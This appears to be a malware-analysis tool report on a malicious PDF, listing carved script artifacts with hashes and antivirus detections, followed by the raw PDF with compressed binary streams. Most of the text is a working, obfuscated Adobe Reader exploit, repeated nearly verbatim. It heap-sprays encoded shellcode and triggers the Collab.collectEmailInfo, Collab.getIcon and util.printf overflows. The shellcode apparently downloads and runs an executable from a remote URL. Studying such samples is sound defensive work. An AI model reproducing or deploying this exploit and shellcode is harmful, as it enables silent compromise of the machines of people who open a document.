u00\",\"65%u7263%u\",\"7361%u\",\"2e68%\",\"u6870%u00\",\"70%u74\",\"68%u7074%u\",\"2f3a%u\",\"732f%u617\",\"4%u6c6c%u\",\"6176%\",\"u7372%u3\",\"72d%u\",\"632e%u2f6e\",\"%u7473%\",\"u2f37%u\",\"7075%u\",\"6164%u6574\",\"%u702\",\"e%u7068%\",\"u693f%u\",\"3d64%\",\"u2633%u657\",\"2%u3d74%\",\"u6b6f%u9\",\"000\");lgzzbDvrJ = unescape(lgzzbDvrJ.join(\"\"));var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - (dN4ieP2iNJ + 0x38);var mjQ0s1Jm = unescape(\"%u9090%u9090\");mjQ0s1Jm = lHskEaMkm(mjQ0s1Jm, vy5AnujZ);var hggtyPDR = (zwWH2gY7 - 0x400000) / thxKGPqJ;for(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl(){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString();app.clearTimeOut(jUCXkje3R);if((dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102) || dWz30Wc8Sx < 7.1){kTh8tyaiMl(0);var dUecnnyRL = unescape(\"%u0c0c%u0c0c\");while(dUecnnyRL.length < 44952) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\"collabStore\"] = oNmYv6F8[\"collectEmailInfo\"]({subj : \"\", msg : dUecnnyRL});}if((dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104) || (dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1) || dWz30Wc8Sx <= 7.101){try{if(app.doc.Collab.getIcon){kTh8tyaiMl(2);var g99lsB5aD5 = unescape(\"%09\");while(g99lsB5aD5.length < 0x4000){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \"N.\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\"doc\"][\"Collab\"][\"getIcon\"](g99lsB5aD5);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch(e){gwCFv8QkMv = 1;}if(gwCFv8QkMv == 1){if(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1){kTh8tyaiMl(1);var krnGx4eoY = \"12999999999999999999\";for(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++){krnGx4eoY += \"8\";}var xwM9uDR1Z = util;xwM9uDR1Z[\"printf\"](\"%45000f\", krnGx4eoY);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut(\"app.pWqkQU3H()\", 10);';var xLnzz5Ne6=new Array("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX");this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace(/[]/g, '');var aHj0mNxG=new Array('iPu63Iz8l','jR3yxekiKc');function mWTf2NTmz(q6bodhAB,sS1npu7qg,moOIAGhC){return false;}var y0BzaR3Ce=new Array("phldahIIt","rqVkMn73vX","wfNlaURwA");var nSd4Sni7x = 'eval';app[nSd4Sni7x](r6KInqXsz);this.gBSQBVtK=false;var x8tgaP7Tc=new Array(14633,1198);vUYPS6xyP=0.3;
|
|||
generic_stage_recovery_007.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from JavaScript object 20 at offset 0x3478 | 5954 bytes |
SHA-256: 399b6b6bc00e61687de5e8433b4ba5d3cdef8394bc66e0455064e3a462a26402 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array();k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr");var sxz3TlE7H = 'var aT2SIgMrm = new Array();var jUCXkje3R;function lHskEaMkm(mjQ0s1Jm, vy5AnujZ){while(mjQ0s1Jm.length * 2 < vy5AnujZ){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring(0, vy5AnujZ / 2);return mjQ0s1Jm;}function kTh8tyaiMl(dwSy84Ewqd){if(dwSy84Ewqd == 0){var zwWH2gY7 = 0x0c0c0c0c;}else if(dwSy84Ewqd == 1){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array(\"%u535\",\"0%u5251\",\"%u5756%u9c\",\"55%u00e\",\"8%u0000%\",\"u5d00%ued8\",\"3%u310\",\"d%u64c0%u4\",\"003%u78\",\"30%u8b0c%\",\"u0c40%u\",\"708b%uad1\",\"c%u408\",\"b%ueb0\",\"8%u8b09%u\",\"3440%\",\"u408d%u8\",\"b7c%u3c\",\"40%u575\",\"6%u5ebe\",\"%u0001%u01\",\"00%ubfe\",\"e%u014e%u0\",\"000%uef01%\",\"ud6e8%u\",\"0001%\",\"u5f00%u895\",\"e%u81\",\"ea%u5\",\"ec2%u0001%\",\"u5200%\",\"u8068%\",\"u0000%uff\",\"00%u4e95%\",\"u0001%u8\",\"900%u81e\",\"a%u5ec2\",\"%u0001%u3\",\"100%u01\",\"f6%u8ac2\",\"%u359c\",\"%u0263%u00\",\"00%ufb80%u\",\"7400%u88\",\"06%u321c%u\",\"eb46%uc6\",\"ee%u320\",\"4%u8900%u8\",\"1ea%u45c2\",\"%u0002%\",\"u5200\",\"%u95ff%u01\",\"52%u00\",\"00%uea89%u\",\"c281%\",\"u0250%u00\",\"00%u5052%\",\"u95ff\",\"%u0156%\",\"u0000%\",\"u006a\",\"%u006a%uea\",\"89%uc281%\",\"u015e\",\"%u0000\",\"%u8952%\",\"u81ea%u78c\",\"2%u000\",\"2%u520\",\"0%u00\",\"6a%ud0ff\",\"%u056a%u\",\"ea89%\",\"uc281%u\",\"015e%u0\",\"000%uff52%\",\"u5a95%u\",\"0001%\",\"u8900\",\"%u81e\",\"a%u5ec2%u\",\"0001%u520\",\"0%u8068\",\"%u0000%uf\",\"f00%u4e\",\"95%u0001%u\",\"8900%\",\"u81ea\",\"%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u3\",\"59c%u0\",\"26e%u0\",\"000%ufb\",\"80%u7400%\",\"u8806%u3\",\"21c%ue\",\"b46%uc\",\"6ee%u3204%\",\"u8900%u8\",\"1ea%u45\",\"c2%u0\",\"002%u5200\",\"%u95ff%\",\"u0152%u00\",\"00%uea8\",\"9%uc281%u0\",\"250%u\",\"0000%u5\",\"052%u95f\",\"f%u0156%\",\"u0000%u0\",\"06a%u006a\",\"%uea89%uc2\",\"81%u015e\",\"%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002\",\"%u5200%u00\",\"6a%ud\",\"0ff%u05\",\"6a%uea89%u\",\"c281%u015\",\"e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u5\",\"b59%uc3\",\"58%u0000\",\"%u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0000%\",\"u0000%u000\",\"0%u6547\",\"%u547\",\"4%u6d65\",\"%u5070%u7\",\"461%u41\",\"68%u4c\",\"00%u616f%\",\"u4c64%u626\",\"9%u6172%\",\"u7972%u0\",\"041%u6547%\",\"u5074%u6\",\"f72%u4163\",\"%u646\",\"4%u6572%u7\",\"373%u\",\"5700%u6e\",\"69%u7845\",\"%u6365%ubb\",\"00%uf289%\",\"uf789%\",\"uc030%\",\"u75ae%u29\",\"fd%u89f7\",\"%u31f9%\",\"ubec0%u003\",\"c%u00\",\"00%ub503%u\",\"021b%\",\"u0000%ua\",\"d66%u85\",\"03%u021b%u\",\"0000%u708\",\"b%u837\",\"8%u1c\",\"c6%ub503%u\",\"021b%u000\",\"0%ubd8d%u0\",\"21f%u0\",\"000%u03ad%\",\"u1b85%u\",\"0002%ua\",\"b00%u03ad%\",\"u1b85%\",\"u0002\",\"%u5000%uad\",\"ab%u85\",\"03%u0\",\"21b%u\",\"0000%\",\"u5eab%\",\"udb31%u56a\",\"d%u8503%u\",\"021b%u\",\"0000%\",\"uc689%ud\",\"789%ufc5\",\"1%ua6f\",\"3%u7459%u\",\"5e04%ueb\",\"43%u5ee9\",\"%ud193%u03\",\"e0%u278\",\"5%u0002%u3\",\"100%u96f\",\"6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u00\",\"02%u890\",\"0%uad\",\"c6%u8503%\",\"u021b%u00\",\"00%ue\",\"bc3%u00\",\"10%u0000%\",\"u0000%u00\",\"00%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u\",\"8900%u1b\",\"85%u0\",\"002%u5600%\",\"ue857%uf\",\"f58%uf\",\"fff%u5e5\",\"f%u01ab\",\"%u80c\",\"e%ubb3e\",\"%u0274%ued\",\"eb%u5\",\"5c3%u4c5\",\"2%u4f\",\"4d%u2e4e%\",\"u4c44%u0\",\"04c%u525\",\"5%u44\",\"4c%u776f%\",\"u6c6e%u616\",\"f%u5464\",\"%u466f%u6\",\"c69%u41\",\"65%u7500\",\"%u6470%\",\"u7461%u2e\",\"65%u78\",\"65%u00\",\"65%u7263%u\",\"7361%u\",\"2e68%\",\"u6870%u00\",\"70%u74\",\"68%u7074%u\",\"2f3a%u\",\"732f%u617\",\"4%u6c6c%u\",\"6176%\",\"u7372%u3\",\"72d%u\",\"632e%u2f6e\",\"%u7473%\",\"u2f37%u\",\"7075%u\",\"6164%u6574\",\"%u702\",\"e%u7068%\",\"u693f%u\",\"3d64%\",\"u2633%u657\",\"2%u3d74%\",\"u6b6f%u9\",\"000\");lgzzbDvrJ = unescape(lgzzbDvrJ.join(\"\"));var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - (dN4ieP2iNJ + 0x38);var mjQ0s1Jm = unescape(\"%u9090%u9090\");mjQ0s1Jm = lHskEaMkm(mjQ0s1Jm, vy5AnujZ);var hggtyPDR = (zwWH2gY7 - 0x400000) / thxKGPqJ;for(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl(){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString();app.clearTimeOut(jUCXkje3R);if((dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102) || dWz30Wc8Sx < 7.1){kTh8tyaiMl(0);var dUecnnyRL = unescape(\"%u0c0c%u0c0c\");while(dUecnnyRL.length < 44952) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\"collabStore\"] = oNmYv6F8[\"collectEmailInfo\"]({subj : \"\", msg : dUecnnyRL});}if((dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104) || (dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1) || dWz30Wc8Sx <= 7.101){try{if(app.doc.Collab.getIcon){kTh8tyaiMl(2);var g99lsB5aD5 = unescape(\" \");while(g99lsB5aD5.length < 0x4000){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \"N.\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\"doc\"][\"Collab\"][\"getIcon\"](g99lsB5aD5);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch(e){gwCFv8QkMv = 1;}if(gwCFv8QkMv == 1){if(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1){kTh8tyaiMl(1);var krnGx4eoY = \"12999999999999999999\";for(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++){krnGx4eoY += \"8\";}var xwM9uDR1Z = util;xwM9uDR1Z[\"printf\"](\"E000f\", krnGx4eoY);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut(\"app.pWqkQU3H()\", 10);';var xLnzz5Ne6=new Array("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX");this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace(/[]/g, '');var aHj0mNxG=new Array('iPu63Iz8l','jR3yxekiKc');function mWTf2NTmz(q6bodhAB,sS1npu7qg,moOIAGhC){return false;}var y0BzaR3Ce=new Array("phldahIIt","rqVkMn73vX","wfNlaURwA");var nSd4Sni7x = 'e'+'v'+'a'+'l';app[nSd4Sni7x](r6KInqXsz);this.gBSQBVtK=false;var x8tgaP7Tc=new Array(14633,1198);vUYPS6xyP=0.3;
|
|||
generic_stage_recovery_008.js |
deobfuscated-js | generic stage recovery split-literal-normalize -> percent-decode from decompressed stream at 0x3478 at offset 0x3478 | 5943 bytes |
SHA-256: c6f46b5fcb403e45a4feb45f41f9ae045b89bc50148326fe36d8b5d1f56b0004 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var g93tcwLR="zcGgQqLKx2";var k1jPyi2a1=new Array();k1jPyi2a1[0]=20830;k1jPyi2a1[1]=31039;var phapwEBp=new Array("uIEWGtF8Fj","yKCFaL03p","lLPkpWxr");var sxz3TlE7H = 'var aT2SIgMrm = new Array();var jUCXkje3R;function lHskEaMkm(mjQ0s1Jm, vy5AnujZ){while(mjQ0s1Jm.length * 2 < vy5AnujZ){mjQ0s1Jm += mjQ0s1Jm;}mjQ0s1Jm = mjQ0s1Jm.substring(0, vy5AnujZ / 2);return mjQ0s1Jm;}function kTh8tyaiMl(dwSy84Ewqd){if(dwSy84Ewqd == 0){var zwWH2gY7 = 0x0c0c0c0c;}else if(dwSy84Ewqd == 1){zwWH2gY7 = 0x30303030;}var lgzzbDvrJ = new Array(\"%u535\",\"0%u5251\",\"%u5756%u9c\",\"55%u00e\",\"8%u0000%\",\"u5d00%ued8\",\"3%u310\",\"d%u64c0%u4\",\"003%u78\",\"30%u8b0c%\",\"u0c40%u\",\"708b%uad1\",\"c%u408\",\"b%ueb0\",\"8%u8b09%u\",\"3440%\",\"u408d%u8\",\"b7c%u3c\",\"40%u575\",\"6%u5ebe\",\"%u0001%u01\",\"00%ubfe\",\"e%u014e%u0\",\"000%uef01%\",\"ud6e8%u\",\"0001%\",\"u5f00%u895\",\"e%u81\",\"ea%u5\",\"ec2%u0001%\",\"u5200%\",\"u8068%\",\"u0000%uff\",\"00%u4e95%\",\"u0001%u8\",\"900%u81e\",\"a%u5ec2\",\"%u0001%u3\",\"100%u01\",\"f6%u8ac2\",\"%u359c\",\"%u0263%u00\",\"00%ufb80%u\",\"7400%u88\",\"06%u321c%u\",\"eb46%uc6\",\"ee%u320\",\"4%u8900%u8\",\"1ea%u45c2\",\"%u0002%\",\"u5200\",\"%u95ff%u01\",\"52%u00\",\"00%uea89%u\",\"c281%\",\"u0250%u00\",\"00%u5052%\",\"u95ff\",\"%u0156%\",\"u0000%\",\"u006a\",\"%u006a%uea\",\"89%uc281%\",\"u015e\",\"%u0000\",\"%u8952%\",\"u81ea%u78c\",\"2%u000\",\"2%u520\",\"0%u00\",\"6a%ud0ff\",\"%u056a%u\",\"ea89%\",\"uc281%u\",\"015e%u0\",\"000%uff52%\",\"u5a95%u\",\"0001%\",\"u8900\",\"%u81e\",\"a%u5ec2%u\",\"0001%u520\",\"0%u8068\",\"%u0000%uf\",\"f00%u4e\",\"95%u0001%u\",\"8900%\",\"u81ea\",\"%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u3\",\"59c%u0\",\"26e%u0\",\"000%ufb\",\"80%u7400%\",\"u8806%u3\",\"21c%ue\",\"b46%uc\",\"6ee%u3204%\",\"u8900%u8\",\"1ea%u45\",\"c2%u0\",\"002%u5200\",\"%u95ff%\",\"u0152%u00\",\"00%uea8\",\"9%uc281%u0\",\"250%u\",\"0000%u5\",\"052%u95f\",\"f%u0156%\",\"u0000%u0\",\"06a%u006a\",\"%uea89%uc2\",\"81%u015e\",\"%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002\",\"%u5200%u00\",\"6a%ud\",\"0ff%u05\",\"6a%uea89%u\",\"c281%u015\",\"e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u5\",\"b59%uc3\",\"58%u0000\",\"%u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0000%\",\"u0000%u000\",\"0%u6547\",\"%u547\",\"4%u6d65\",\"%u5070%u7\",\"461%u41\",\"68%u4c\",\"00%u616f%\",\"u4c64%u626\",\"9%u6172%\",\"u7972%u0\",\"041%u6547%\",\"u5074%u6\",\"f72%u4163\",\"%u646\",\"4%u6572%u7\",\"373%u\",\"5700%u6e\",\"69%u7845\",\"%u6365%ubb\",\"00%uf289%\",\"uf789%\",\"uc030%\",\"u75ae%u29\",\"fd%u89f7\",\"%u31f9%\",\"ubec0%u003\",\"c%u00\",\"00%ub503%u\",\"021b%\",\"u0000%ua\",\"d66%u85\",\"03%u021b%u\",\"0000%u708\",\"b%u837\",\"8%u1c\",\"c6%ub503%u\",\"021b%u000\",\"0%ubd8d%u0\",\"21f%u0\",\"000%u03ad%\",\"u1b85%u\",\"0002%ua\",\"b00%u03ad%\",\"u1b85%\",\"u0002\",\"%u5000%uad\",\"ab%u85\",\"03%u0\",\"21b%u\",\"0000%\",\"u5eab%\",\"udb31%u56a\",\"d%u8503%u\",\"021b%u\",\"0000%\",\"uc689%ud\",\"789%ufc5\",\"1%ua6f\",\"3%u7459%u\",\"5e04%ueb\",\"43%u5ee9\",\"%ud193%u03\",\"e0%u278\",\"5%u0002%u3\",\"100%u96f\",\"6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u00\",\"02%u890\",\"0%uad\",\"c6%u8503%\",\"u021b%u00\",\"00%ue\",\"bc3%u00\",\"10%u0000%\",\"u0000%u00\",\"00%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u\",\"8900%u1b\",\"85%u0\",\"002%u5600%\",\"ue857%uf\",\"f58%uf\",\"fff%u5e5\",\"f%u01ab\",\"%u80c\",\"e%ubb3e\",\"%u0274%ued\",\"eb%u5\",\"5c3%u4c5\",\"2%u4f\",\"4d%u2e4e%\",\"u4c44%u0\",\"04c%u525\",\"5%u44\",\"4c%u776f%\",\"u6c6e%u616\",\"f%u5464\",\"%u466f%u6\",\"c69%u41\",\"65%u7500\",\"%u6470%\",\"u7461%u2e\",\"65%u78\",\"65%u00\",\"65%u7263%u\",\"7361%u\",\"2e68%\",\"u6870%u00\",\"70%u74\",\"68%u7074%u\",\"2f3a%u\",\"732f%u617\",\"4%u6c6c%u\",\"6176%\",\"u7372%u3\",\"72d%u\",\"632e%u2f6e\",\"%u7473%\",\"u2f37%u\",\"7075%u\",\"6164%u6574\",\"%u702\",\"e%u7068%\",\"u693f%u\",\"3d64%\",\"u2633%u657\",\"2%u3d74%\",\"u6b6f%u9\",\"000\");lgzzbDvrJ = unescape(lgzzbDvrJ.join(\"\"));var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - (dN4ieP2iNJ + 0x38);var mjQ0s1Jm = unescape(\"%u9090%u9090\");mjQ0s1Jm = lHskEaMkm(mjQ0s1Jm, vy5AnujZ);var hggtyPDR = (zwWH2gY7 - 0x400000) / thxKGPqJ;for(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl(){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString();app.clearTimeOut(jUCXkje3R);if((dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102) || dWz30Wc8Sx < 7.1){kTh8tyaiMl(0);var dUecnnyRL = unescape(\"%u0c0c%u0c0c\");while(dUecnnyRL.length < 44952) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\"collabStore\"] = oNmYv6F8[\"collectEmailInfo\"]({subj : \"\", msg : dUecnnyRL});}if((dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104) || (dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1) || dWz30Wc8Sx <= 7.101){try{if(app.doc.Collab.getIcon){kTh8tyaiMl(2);var g99lsB5aD5 = unescape(\" \");while(g99lsB5aD5.length < 0x4000){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \"N.\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\"doc\"][\"Collab\"][\"getIcon\"](g99lsB5aD5);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch(e){gwCFv8QkMv = 1;}if(gwCFv8QkMv == 1){if(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1){kTh8tyaiMl(1);var krnGx4eoY = \"12999999999999999999\";for(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++){krnGx4eoY += \"8\";}var xwM9uDR1Z = util;xwM9uDR1Z[\"printf\"](\"E000f\", krnGx4eoY);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut(\"app.pWqkQU3H()\", 10);';var xLnzz5Ne6=new Array("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX");this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace(/[]/g, '');var aHj0mNxG=new Array('iPu63Iz8l','jR3yxekiKc');function mWTf2NTmz(q6bodhAB,sS1npu7qg,moOIAGhC){return false;}var y0BzaR3Ce=new Array("phldahIIt","rqVkMn73vX","wfNlaURwA");var nSd4Sni7x = 'eval';app[nSd4Sni7x](r6KInqXsz);this.gBSQBVtK=false;var x8tgaP7Tc=new Array(14633,1198);vUYPS6xyP=0.3;
|
|||
generic_stage_recovery_009.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from raw PDF metadata at offset 0x0 | 21144 bytes |
SHA-256: 8e80acab9e1f0fbeff61341563192e7735d9cb9e22d58b70345fd7ec29c9c0f9 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2240>>
stream
x�śIs�8 ��� �a�j��p �\]�tuW�҉�0�� ��HH A �h��� K6d[k tR%ǒ)�� � �
�W<V�� ����g<ʛ�;��)�E �t����n� �FQ� � o )� � M� �i6��0��� �D�Q�o�w' ����I �� ���K��D�Y Oh ̓(���~�G���9�� �w����~� �����o9i��<� I�=iWq��*e������;o �S np <V7�,ք���� �yw�+���>`�筝 s��l� ,��4M�0}~.� ��v�����~�� *b��� Ռ� RQ� ��f� �.J�Q�YmH��1����̙��d�5�#ϴ0��AM�f͚�ə�GQ ��^� �LI����� �Ozd�W ���듍�l�q�h�\�hL/;2��j�;C��Վ8 �X}�z�(�LGY_ #�N5�rf*> ߈��b�U }i ��)F˾)ȴHn.����P�/���f������� ��0�[� C ���p2}�r��1�B %^� k� G�K��2�q ��40 o�bzC � ���# } pq�� &U��
����%�i6�C�w ](Zr ��cC��J�
� �� �� �� ���nl�!30]{u n��!7�&uݨ��=i���Lъ�,� 58I�3j�8��� +X�!� �[T��L % *'ު��0� 36TH�i)�q �_y�P �� ���3�"W�V ]�� /�ĥ a��>�Ϣ��� n��(� n��14��^Z�V�MG N�RPY�: �*��D������}D���(*)W��$�8R��G�!
��@f$���U� i� +;] dUJ�� nl�8����� �o�Oo�� K�jb ��K���i� (���%&/[vȉ�0[ �e�--�)Z � Z�������' G�C5
�@Ĵİ�3C�-]� p�z��q<x�O S �g�X[!A���� "��DE �� � ����@�V� yE� f� ���2� d�=��� �� kQ�Ka��V �z���y`�Kj8/l� FI
w1�� �N"���Q�v�JVy�?� ����jQ� � ,v�: �ۥ�0 ����^
� &. "�T4g����t�� �RpJ �捝 vA7p�� �ЮC���vY�Fb����� � /!�+��tu� ��B9j��:��^c>s��GR5���{��X��:uh�PШЮC�Ւ��ڙ�yy��0 ��y �L� v���d�4V F5�ߨN�t<��Ka|��L ;S��Jy�'q�u��ZeP" ���Z[�p� L�B\�� /�m�K��.�h�����-���T�Q��)bi;G Sl#�Œn_�� ��U��^X�2 f? |: �ɟ)�RZ�� �* �=7�&�2��G�5�to�g �l�[�t;�a���� 2�lPD��Bn{�u��Go' 7�O�� �|�6���J B �2� ڰ�,�:$薢��2� ��ݙ� �S� �� ��� AK,qO��� ٍ�H���H&�Qa�ÆOg��]e/���� uI*� ��`�L��;�4�E �x�A�lS ����5�ͧ� �����MtK�{i�`W�� v����o� wP3�����WmJ�8
�$�2��B�YG��io�ݸ6�� -�D�UJ�=�xgc��A����BɫW����m���˧����� 0� =!���%��3�&�QXa� �� �����c�[J!�0?W Y� )����� �`W���
/g�����#:�
&|:<s<�6u� {e�p��W��Lϓ�����
Um�Ӫo��
���j�$����W���ŗ��GX�1�b � y, +NB� �y�2ڿ�qN��Q^'U�9<�( �ކ ���#���U3�i� n^��Z�*hj%>���e��$�j��M� �S �� ���k��:ڪ�Ld�7Vzus � �� ��r�m�uw)(}:�: �k� x:����S#N�S�YuQ�x���+w�.GH�!����1D4�V��z��F�j�UU��T �?��~dp � ���w�ԣB�nw7�Ow# �S ��� �on �Y�8Թ�i&��"9 -ˊT3`���}�8�:� ��5� ���hq9 ��p6Ȋ�^m�{c �0�� �����dz������� ��u߫[DN��n[���L� �UQH~b ��_|z<u@:~��*]Qi'Q�W��P��Yѩ��:f}>O3��N �v�<{ � � l��̧������_ 6
}\���n��u�Y�� �]� ��^�g 9�\w��Y喉��4�;�-����� `>� �.� �3� � )����E]y��w� p{~�< 5" ����+� σ$u_�>�����&���.
�p ��ޣ � J�ܺ�� 7 j ��
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2222>>
stream
x�͛Ks� ��� �����p� ��NM�J��# �ŭT ��@� HQ��ρd 4��� ��*�e E� �χ �0H 4RH��uG���_ ^?�Uݼ��w?ƴ
nK������c EI����y0_�, Ҙ �( c� z�sD �� wBQ�� � ���g?uE�N4_ ��2� �-���kf�ϙ6?lY��� �� 7x��g1 �Mӄ��<H��M�� }[+���t���}�`��x���uwc�bC(n^^��O�g ���W���� � '��c V�P�&A�>�-�7����җ#��c # ��S
�U !f9��
^� �6r)�78fj�C˩T�!� �J�֜ k &)�U�t@?o8����ڂr�7݉vK|+p�^ }Mk�Y�)WE!�~�9 �ၗ�x :K��r/�G�� EM4��F�eAf�
�2ez� �}���5U��0 {K@�Uk^P�2!��-�Hsh� ZE�VlMB�{Z��� Lw��+4�ٴ� ��3�iR( �`X�&� m�/��l��f2\�$Z3Ȟ ��TR�ya(]a��Z�,�z�(�LO�P 1 &�����7�g����d ��eN'� �ɨ �§�8 V�Sk:�S.�h��P7�%��T�!��{M=S�s� F"�� 9�ÖJ�� z��(�Tn�wy2)$��tC��Loh#6�� � s� 2�5\3�a��+ ���($ ��f�Y�1�MG��l�m�8�. � g�L�қ
U�&6�glQ YN��.{�8�d ie�� � f��[����a�B�9��P�� w[~�Q�|��T ���d=�5 rZP&�
V� �T^S .� ; H)��� �'�%�+�a � ��C�!�sEkE\
$��0P'1p>gn�X|����� � �T(vQQ)Z��X[ b#���;+BY+kHl��ly mO�� &Ne9�ap
���d ���д � [�6+�` ��r͕�>e� �2�d a ��6��J#n�@�
�&�[ط �Id� !�I��! [����F��1����gF�p>���V_�ӣز�c]-
�Mcm �G��� �|ʝ9f=�)F\ [ڊ�� R� ZY�C� � �
� ���î� �E;d�f�C��� �b ��J��r�>g*�B;RP �Q�!��`� >͑J�� .�� �dT˴O��C^� = ��vB�� ���ikX�!� �|J� F��ϺhN�0�� 2]�B�E�� � �
�a> ,!+�����b���n�u9_���?
Y� ��S�ܡ*�0o�ve�+��a/��6���5�MCa
�j��u�]�����T�:Z5�9\� �}�^��{|��Qa2�'C� Ʌ�D��<�|ʝ9^}��Qh5 �K謙�6� �1l 2�Ké^S�� '��% ��4Bcp*� �
�.}�M �:T�� UW0� GRpJ xi�[�<��4�'����� ��c .��i|�,v7�G���+�k@�Ͷb��) ����} ���{� �\�Zu �� ��/�Q��GV�p �J��� `匉Ȭ�g���� � �z�T;M)�� K�V�L˷��A��^K����A1 �����C��h�f�c�)X?�#���& �� ��Y� dž
|�� t��r�j W~ ��`�ѦTĆj@�?5֛�8� t���Yx �0�
kZT�����#�%m�#�}
���ؚ��N�4︵:��'D# �V! P� d� = �ږ� �ϧ�� �T��D��s� W g{R� s�� ^#_:�>� �z��3ף+ � ��7���l���N� � N� ��5uf}}�{��[c��sʿ�H/A�O�3��- Nw�/��/y �r*rb%���s�$v Ϥ� L|�Z7���NCU V�5��g�o}�
�ÿ� > �)ڟ~2�&�z� � ��τ��� G {
